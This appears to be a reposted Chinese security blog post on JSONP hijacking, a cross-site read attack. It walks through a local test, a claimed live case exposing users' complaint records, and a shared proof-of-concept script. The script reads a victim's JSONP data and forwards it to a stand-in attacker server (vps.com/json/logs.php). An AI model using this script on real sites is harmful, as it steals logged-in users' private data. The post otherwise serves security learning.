内容简介:JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里 <script></script> 元素标签,远程调用 JSON 文件来实现数据传递。如要在 a.com 域下获取存在 b.com 的 JSON 数据( getUsers.JSON )。说白了就是一种跨域的json数据传输的解决方案。由于jsonp允许跨域请求,并且允许前端可以在<script></script>中直接解析返回的json形式的跨域数据
1 初步感受jsonp
1.1 jsonp
JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里 <script></script> 元素标签,远程调用 JSON 文件来实现数据传递。如要在 a.com 域下获取存在 b.com 的 JSON 数据( getUsers.JSON )。
说白了就是一种跨域的json数据传输的解决方案。
1.2 jsonp劫持攻击
由于jsonp允许跨域请求,并且允许前端可以在<script></script>中直接解析返回的json形式的跨域数据,如果没有做到合适的防御,攻击者就可以做到jsonp劫持攻击。
Jsonp劫持攻击时csrf攻击的一种。csrf攻击分csrf读和csrf写,jsonp劫持是csrf读的一种具体攻击形式。通常攻击者通过这种形式可以读取到受害者的敏感数据。
可以看下wooyun镜像,搜索jsonp可以查到大量案例。
来看一个简单的例子感受一下。
http://www.anquan.us/static/bugs/wooyun-2013-019969.html
攻击者在script标签中直接解析了跨域传输的json敏感数据。alert出来了,当然你也可以发出去做log记录,总之js都解析到了啥不能干?
1.3 jsonp防御
既然是csrf攻击的一种,还是和csrf防御一样呗。referer/csrf_token/验证码等机制。
2 本地yy测试
实践出真知,动手本地yy测试一下jsonp攻击流程。
2.1 理清思路
测试的思路如下。
1、js.html ————实际的劫持poc,实战中放到黑客控制的vps上
2、api.php ————模拟有漏洞的jsonp接口,在有漏洞的web服务器上
3、logs.php ————黑客vps记录劫持记录的后端页面
2.2 环境准备
api.php
模拟提供jsonp传输的敏感数据的接口。
接口访问效果,输出自己的cookie映射内容。
用js.html模拟攻击者执行的js来劫持jsonp
这里转发的ip也一样,实战是黑客自己的vps。
logs.php
2.3 整体走一个
打开js.html,直接本地打开,模拟的动作是受害者打开我vps上的csrfpoc
第一个ajax请求,模拟csrf向服务器请求返回账号敏感信息。
第二个ajax请求,模拟vps的jspoc成功解析到敏感信息,并且做一个log记录。(真实环境应该在vps上做log记录,这里为了方便和漏洞服务器同一个ip)
服务端记录。
2.4 延伸
如果返回的jsonp的json数组,不是一个json对象。
可以用下标直接取出。
3 实战jsonp劫持
yy完了,看一个真实例子。
这个请求包jsonp请求,内容返回的是用户的投诉记录,无token,无验证referer,该请求可以被劫持!
演示如下:
在登录账号(已经有投诉记录的)的情况下
凡访问加载这个poc的页面的用户,他的投诉记录都会被我直接劫持,并且做记录
4 劫持poc
分享下我的poc,大家遇到简单的接口可以直接套用了。
Script直接解析json
<script>
function hack(json){
alert(JSON.stringify(json));//接下来可以做转发记录
}
</script>
<script src=”http://127.0.0.1:8081/js.php?callback=hack”></script>
$.getJSON
<script type=”text/javascript” src=” http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js “></script>
<script type=”text/javascript”>
$.getJSON(“http://vulweb.com/api/getMyFeedbackList?callback=?”, function(json){
var data=JSON.stringify(json);
//将data转发记录
$.get(“http://vps.com/json/logs.php?mylogs=”+data,function(res,status){
alert (‘ok’) ;
});
});
</script>
5 后记
本菜鸡对前端了解也不深,也是最近接触的jsonp劫持,文中错误难免,欢迎指正。
常见的csrf数据劫持方法还有很多,例如因为crossadmin.xml配置不对导致的flash跨域劫持。以后遇到可以记录学习一下。
关于前端劫持还有很多玩法,本文只是做一个最简单的jsonp-api数据劫持,乌云镜像上有很多是高端组合玩法的案例。
参考链接:http://blog.knownsec.com/2015/03/jsonp_security_technic/
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- SkyWalking之高级玩法
- 【译】2019 JavaScript 新玩法
- PHP异步的的玩法
- Github 新玩法 -- Profile ReadMe
- Vue-loader 的巧妙玩法
- Hexo 博客终极玩法:云端写作,自动部署
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
The NSHipster Fake Book (Objective-C)
Mattt Thompson / NSHipster Portland, Oregon / 2014 / USD 19.00
Fake Books are an indispensable tool for jazz musicians. They contain the melody, rhythm, and chord changes for hundreds of standards, allowing a player to jump into any session cold, and "fake it" th......一起来看看 《The NSHipster Fake Book (Objective-C)》 这本书的介绍吧!